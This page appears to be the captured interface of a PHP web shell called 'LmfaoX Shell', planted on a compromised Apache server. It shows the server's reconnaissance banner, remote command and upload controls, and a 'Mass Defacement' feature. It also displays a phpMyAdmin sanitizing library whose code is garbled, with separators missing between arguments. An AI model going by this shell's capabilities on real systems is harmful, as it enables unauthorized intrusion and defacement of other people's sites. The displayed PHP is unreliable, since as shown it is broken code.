ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:26.04 GB of 70.42 GB (36.98%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ map/ site/ sql_control/ libraries/ - drwxr-sr-x

Directory:
Viewing file:     sanitizing.lib.php (3.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * This is in a separate script because it's called from a number of scripts
 *
 * @package phpMyAdmin
 */

/**
 * Sanitizes $message, taking into account our special codes
 * for formatting.
 *
 * If you want to include result in element attribute, you should escape it.
 *
 * Examples:
 *
 * <p><?php echo PMA_sanitize($foo); ?></p>
 *
 * <a title="<?php echo PMA_sanitize($foo, true); ?>">bar</a>
 *
 * @uses    preg_replace()
 * @uses    strtr()
 * @param   string   the message
 * @param   boolean  whether to escape html in result
 *
 * @return  string   the sanitized message
 *
 * @access  public
 */
function PMA_sanitize($message$escape false$safe false)
{
    if (!
$safe) {
        
$message strtr($message, array('<' => '&lt;''>' => '&gt;'));
    }
    
$replace_pairs = array(
        
'[i]'       => '<em>',      // deprecated by em
        
'[/i]'      => '</em>',     // deprecated by em
        
'[em]'      => '<em>',
        
'[/em]'     => '</em>',
        
'[b]'       => '<strong>',  // deprecated by strong
        
'[/b]'      => '</strong>'// deprecated by strong
        
'[strong]'  => '<strong>',
        
'[/strong]' => '</strong>',
        
'[tt]'      => '<code>',    // deprecated by CODE or KBD
        
'[/tt]'     => '</code>',   // deprecated by CODE or KBD
        
'[code]'    => '<code>',
        
'[/code]'   => '</code>',
        
'[kbd]'     => '<kbd>',
        
'[/kbd]'    => '</kbd>',
        
'[br]'      => '<br />',
        
'[/a]'      => '</a>',
        
'[sup]'      => '<sup>',
        
'[/sup]'      => '</sup>',
    );
    
$message strtr($message$replace_pairs);

    
$pattern '/\[a@([^"@]*)@([^]"]*)\]/';

    if (
preg_match_all($pattern$message$foundsPREG_SET_ORDER)) {
        
$valid_links = array(
            
'http',  // default http:// links (and https://)
            
'./Do',  // ./Documentation
            
'./ur',  // url.php redirector
        
);

        foreach (
$founds as $found) {
            
// only http... and ./Do... allowed
            
if (! in_array(substr($found[1], 04), $valid_links)) {
                return 
$message;
            }
            
// a-z and _ allowed in target
            
if (! empty($found[2]) && preg_match('/[^a-z_]+/i'$found[2])) {
                return 
$message;
            }
        }

        if (
substr($found[1], 04) == 'http') {
            
$message preg_replace($pattern'<a href="' PMA_linkURL($found[1]) . '" target="\2">'$message);
        } else {
            
$message preg_replace($pattern'<a href="\1" target="\2">'$message);
        }
    }

    if (
$escape) {
        
$message htmlspecialchars($message);
    }

    return 
$message;
}


/**
 * Sanitize a filename by removing anything besides A-Za-z0-9_.-
 *
 * Intended usecase:
 *    When using a filename in a Content-Disposition header the value should not contain ; or "
 *
 * @param   string  The filename
 *
 * @return  string  the sanitized filename
 *
 */
function PMA_sanitize_filename($filename) {
    
$filename preg_replace('/[^A-Za-z0-9_.-]/''_'$filename);
    return 
$filename;
}

?>
Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.1974 seconds